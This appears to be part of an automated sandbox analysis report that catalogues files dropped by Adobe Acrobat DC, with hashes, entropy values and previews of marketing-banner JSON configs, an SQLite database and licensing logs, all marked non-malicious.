C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306107531131418
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJfBoTfXpnrPeUkwRe9:YvXKXhQWRuUhUjGWTfXcUkee9
MD5:	677CCB64BE69709AEBBCCCDD52F32FF8
SHA1:	AF653AF221021C449454F6D5DB6E0E5E5354BAE7
SHA-256:	BA75552ABAC53C2AC327F98EB8AA3FE9101902A675B94866DB4B162F81E42CA5
SHA-512:	F522B30EA8C8F4D02DB61A08DF37BED6A27B49519068294BC6B04DFBCFD9473669A656B71374C3E2B5417BC54D8B6974F5C56ABDD5F4338319A435D87789AB78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284928606177017
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJfBD2G6UpnrPeUkwRe9:YvXKXhQWRuUhUjGR22cUkee9
MD5:	09E9CDD312DEC6284A91CE1E8D29BF26
SHA1:	5E132BAB816BC04E88079D1D216DA974BDBA5A47
SHA-256:	B4A1CDE55D98683CE7C7293AB683D7FE8550C98E8FD718A09BCA7E6A01183BA1
SHA-512:	0CD5ECE889083B72D12248C83E1CBE42AB5469DDD8D94773348AC35AE289EB06DBEF11DBDE46EF74E43B27B8B597AA67AB0150BA5CB5897EB22BFFE488058C09
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3489805121431635
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJfPmwrPeUkwRe9:YvXKXhQWRuUhUjGH56Ukee9
MD5:	36A450304927E5D376EFFBB127FF73A2
SHA1:	144D69F11B7CD1F6A0B1AC2AD66E502CD5CEAB38
SHA-256:	B7EE86579F14CBBC1719C7848B39E36423F02978704E3E20C845261DC73F13E8
SHA-512:	C2BAC94BCACCAEA703ECE1D36E8461CB4039CE4C45BB8C6467F8D53A792DB39BF1313DAA14219A409876583046FD6CA49B43BDB572EA5BD083C84D1A9E68C130
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.310854295259398
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJfJWCtMdPeUkwRe9:YvXKXhQWRuUhUjGBS8Ukee9
MD5:	4290AB25786145A9CB5E83278AF9D4AA
SHA1:	59BB9BA4390F5EB9CC93B1D01C3C145CE5F7DDA1
SHA-256:	20E2D5577EFB72BA16C2CE0AD64C5A473E7CD2A1B78129334674C0DF8DC3C009
SHA-512:	C4E48F27012B97BEA0D4914EB635A07AA413F7872580ACC966FE059BC25AC8E043845A8D956CE63D7C11DBAEC9168919781519122D16406AC894D381E56DD538
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298027065194611
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJf8dPeUkwRe9:YvXKXhQWRuUhUjGU8Ukee9
MD5:	7525BE3E0992D52C865CA0CDAA329A2F
SHA1:	B754027C58214AC76E23885E293A8F8E6F26D1CF
SHA-256:	903D4F8036BD8A56858F43A4BDA839D307F77A7EADB4C2756886856A5F5C1C10
SHA-512:	2B04E8396C88B30C990BC2A1D8E3DEBEF3C2D5918E7EE9B3EAB9A97459882C97A2718C7D2630637A2934E47F79927296F21CD3D5610721FBA83B56EA9CC4666D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.300424960486943
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJfQ1rPeUkwRe9:YvXKXhQWRuUhUjGY16Ukee9
MD5:	140A35531FBB0F0659F0D37AEC67D6E8
SHA1:	CA470897E606D52318B24DC95A227F16C2756A4A
SHA-256:	FC14A3F78976BAA015ABEF48764045BBEBFACF3DBEEE5DF06FD6783764ACD325
SHA-512:	2C3E3A6DAFE8326804FA6A7E73A3F71347088FEA3F192E4D020092AD1D1FE73E92DA688AF6EA591022DA1BBF4535A03E939764DE206E669E6762F94642F9B329
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30959666147366
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJfFldPeUkwRe9:YvXKXhQWRuUhUjGz8Ukee9
MD5:	7594AC3D0DA190DE00EF4110B554D60E
SHA1:	0E5464332E977F1495A6D73BDB4D5CDA210F57D1
SHA-256:	3B72E3FC6917BE81DE5FB32BCC948B232D9B335AB46797FF3204C58AF617CE1D
SHA-512:	BAB28F9C9E375D9B1C420C60F6DD9626AC080B79C7D8BEB14295EB4033EBF0E79E45CBE7ACA33471AC1F5A209F3A85126D45B70E67788C23BB2A5072A2243E6F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	5.7381471298007565
Encrypted:	false
SSDEEP:	24:Yv6XHU7KLgENRcbrZbq00iCCBrwJo++ns8ct4mFJNVt:YvAU7EgigrNt0wSJn+ns8cvFJft
MD5:	ACB563AE640CBCE591A9BB3A14F96BEF
SHA1:	7AD37A01724CC65BEA6D1C855B03BEF1EFA11A68
SHA-256:	F83D33DCF5760FA589FBE84DDBA434BA460C500382B8FB3C7555A813D26BE987
SHA-512:	B28B1239DD4C3C7A6FC0C87427560D42BEA435D0388660556410D2342414AE2B9D99BB3207B3523BA4000BDC1C2D19DBE1047F222B38B357F8207B4066C987BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"79887_247329ActionBlock_0","campaignId":79887,"containerId":"1","controlGroupId":"","treatmentId":"acc56846-d570-4500-a26e-7f8cf2b4acad","variationId":"247329"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJUcnkgQWNyb2JhdCBQcm8ifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNSIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTMiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIDctZGF5IHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0byBwcmVtaXVtIFBERiBhbmQgZS1zaWduaW5nIHRvb2xzLiIsImJ

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304040268543356
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJfYdPeUkwRe9:YvXKXhQWRuUhUjGg8Ukee9
MD5:	0B128B1E3D3D26594926F530099E4911
SHA1:	733BE2BDE1376EAF482504A83EF4F9EA68B2AD29
SHA-256:	656B60DA3D2E8B8748707C39357C81901543224331B1250A8978471165B8B4E5
SHA-512:	E2F956DA7BCCC37D2B797F9D8EA4295402B617A8A8326F17135D8FBE0644D326708EA6E651BFBF9EFC093F3F4644835891C7B398CD06B3191C287F3C5C2AC166
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.7742334553021095
Encrypted:	false
SSDEEP:	24:Yv6XHUmrLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJNdt:YvAUmHgDv3W2aYQfgB5OUupHrQ9FJLt
MD5:	148CC8DD3BB5B70D7AB9FDD5A9693C49
SHA1:	38E7E1F4D8F3D4E9AEBC4BB2636BA3F9FFD8D675
SHA-256:	E7DD168646F72EA8C536C7C30135337DAA529797E2E4D098472746A7FED66454
SHA-512:	63465A5BBE38BBC6F285FB0D4693A238F4E0ECAB7F9DDDFF4113DE02B3E67DD18751BD6081DDDF0386FB80A63645B2AF45943F43317421FFF4F488CBD2AB0FD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.287559598048537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJfbPtdPeUkwRe9:YvXKXhQWRuUhUjGDV8Ukee9
MD5:	11342246425B58A14199E8799F7B5E5A
SHA1:	F417C29D3F7E9688B6A6650CC6E51DD21375379E
SHA-256:	99158F0A095AECD08E977BF25FA0D401A25725F915D3ED1A40F3A74573469360
SHA-512:	DCE755ECCC54275A3D23B488CCA6709BB51C1E03AF811D16E296A8EE98C3161B0D6CAB212BD819905EDCCBDFDF574AB095E6EE91E2DF9A5BC9CB3A64FB933D70
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.290996841712282
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJf21rPeUkwRe9:YvXKXhQWRuUhUjG+16Ukee9
MD5:	70FB62C1AB384C1C191547740B66A1FA
SHA1:	B3CFADA67C9D94B214A86DFD8A28009C7B79A534
SHA-256:	F9B6D8532F9B4A95FE4F5A7E85FE183BF3988C09E8E3987607A380760B5DF164
SHA-512:	60B58A44BDE80AB359BCCDBFC248443B03E4C1C1F172C46CD9E5479EA140B2D4DA201C73366EDD7E88F08BCC6F65DDFAE2B17640BB9137766F72BA7FD37CE43D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311152874826628
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJfbpatdPeUkwRe9:YvXKXhQWRuUhUjGVat8Ukee9
MD5:	1E9DE9265460243F68442977640396B8
SHA1:	0BFA2646B6F752BF369B67289B348DDA6CAFA9D5
SHA-256:	F3BF28BF3766C1A090439693C9B559F4A29443FB470D67A5BDF00D5F9A626B6D
SHA-512:	21AB3FB24BEE2AD4CE4A5814125A39DDD646FEC2A5AFF4587C1B556B93514BFFFAFC57D4C465A0643B888A051BBC7A6CD779189293B7E450528C64017DD815D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.269218646882376
Encrypted:	false
SSDEEP:	6:YEQXJ2HXft/Q5IRR4UhUR0Y/UoAvJfshHHrPeUkwRe9:YvXKXhQWRuUhUjGUUUkee9
MD5:	EBBF57B2895102C48B6C6DB500AE3BD6
SHA1:	4A47C63911C1F9B52371153D728D058595FCE313
SHA-256:	078082C916C72EF34A6C6FF583D0D04388730427E136F84EDD7E7FCD2B54D01E
SHA-512:	B3B2B87D1B554307026E597D48D5FE5E4F6F2C3696FE94B27EC659A0F66021B12F2FC01A1ECE56B3EB2EDC5F2C2D1B82E04AFCBCAA5F35752D172507D4BB9A3E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.366898216165902
Encrypted:	false
SSDEEP:	12:YvXKXhQWRuUhUjGTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWxf1:Yv6XHUz168CgEXX5kcIfANhKt
MD5:	245089738EF198DC606332EE64424175
SHA1:	41A369650B63BC9A71F5C5479EE577AE29F20D10
SHA-256:	7EAAD7579586A1D2C15EEA279E5E824CCADAE6FF42C1A840F14A89AF24043461
SHA-512:	2AE42D137BE24E37BBDB72BC3D10C515ACF0C83F6BF7F7B9EB3853F5FE4FCC35615EFCA1548446C0EA15C4EA61D13CD06DC6A8E21038B93B4CC1CF52141C6C83
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c92acf8f-20e1-449e-b17e-253348f50a04","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1717008522291,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1716831012334}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1296254289786685
Encrypted:	false
SSDEEP:	48:Yl0vXSJMFrMznmVqcIsj++h7l6N4zi6Kztza9FqJZN:+uanzKj++nk6IO2
MD5:	991DEF53812DF361B5895AF865D4D719
SHA1:	4E5E3262F1F97A42928F20BCB60A446574F320C5
SHA-256:	07285AD1CCA2DABB183A0DE5EA3FA60F477579852945C788CB62B329FFD379F7
SHA-512:	18833614956451E75DF6B862E3350B356684763130D4C15E68203A024A0206930D945713AEEC9FF2BEF101B272E3B5FA542FBAD771E4A0F2F2B839CF36B15C18
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2ecddd34c54a8c700e6332843a46d839","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1716831011000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"bf158d35ae46c5f39a9efd9caf855e8e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1372,"ts":1716831011000},{"id":"Edit_InApp_Aug2020","info":{"dg":"67a05c62c0f954028176c645cd87f614","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":1716831011000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"445abb39b9762bb12d9a38fa060fdb33","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1716831011000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b529e14cb41fbf9d39b4c475010bb862","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1716831011000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"119e47a6d1f4cf1b744c8752ace4e233","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1716831011000},

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9863737855120689
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs67Y9QmQ6QePXEIcLESiAie3XEF:TVl2GL7ms67YXtrzcI88
MD5:	E97B8DDF795C4F003EE1647C3B10ED1D
SHA1:	E12D392176911007C5EC3180CB4B6BC5E848A15D
SHA-256:	BE22C342DDB113B3A25680038610B7726CED96C48A605F43706727300AE6D514
SHA-512:	8FCEF7045F7C9ED04A73F25B629B433B555B19CEE8C0A69C1B5C826ADE67FE9E891943C8F957E3970F4ABDCE61B01B40D7F694558AAC862318B4DA226FE9E803
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.342425169154414
Encrypted:	false
SSDEEP:	24:7+toASY9QmQ6QePXE7cLESiAi0mY9QKhqLBx/XYKQvGJF7ursqf:7MolYXtrwcI8KYThqll2GL7msqf
MD5:	F559BB6B8A609E2886FD88828DFD1FED
SHA1:	307FF6D2747B74967305C9FBE9F0664949450628
SHA-256:	18A010A0D35F079141DED809BD504D0AE0A32EB6EC40CCB9A72260F685758A54
SHA-512:	EB47153C56EE4A94971860C56539373DC88086D405D07658CE2355E598C3D8B6C6CBC09A76B1F18F7BED57DCF3BFDE510D5F3F1A6B0C283F4A9754CDF324AF90
Malicious:	false
Preview:	.... .c.....QY........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIb7287.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5197430193686525
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8o3ICH:Qw946cPbiOxDlbYnuRKOw
MD5:	734304F0217D04B59F513D59DC1AD0D3
SHA1:	08ED32B7AAFCDE922AF16F03FCCA6592F738CB39
SHA-256:	90DF1F913A37ECE242FAA43134F9666E289FB901FA08BDCFE87510C50D86D69D
SHA-512:	DB2D453E2B85BD87BA4C1EC90D23DE7B4437D60BA58E0D377B96979209AE92437BB5F290A137F7DEDF585D11A3ACD338DB89604F2246537BE5610B0F583A2AD3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.7./.0.5./.2.0.2.4. . .1.3.:.3.0.:.1.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-05-27 13-30-08-477.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.353642815103214
Encrypted:	false
SSDEEP:	384:tbxtsuP+XEWJJQbnR8L31M7HeltV+KYm3wsa2KjF4ODkr/O8r2IUHUHMWwEyZRN2:aPL
MD5:	91F06491552FC977E9E8AF47786EE7C1
SHA1:	8FEB27904897FFCC2BE1A985D479D7F75F11CEFC
SHA-256:	06582F9F48220653B0CB355A53A9B145DA049C536D00095C57FCB3E941BA90BB
SHA-512:	A63E6E0D25B88EBB6602885AB8E91167D37267B24516A11F7492F48876D3DDCAE44FFC386E146F3CF6EB4FA6AF251602143F254687B17FCFE6F00783095C5082
Malicious:	false
Preview:	SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib 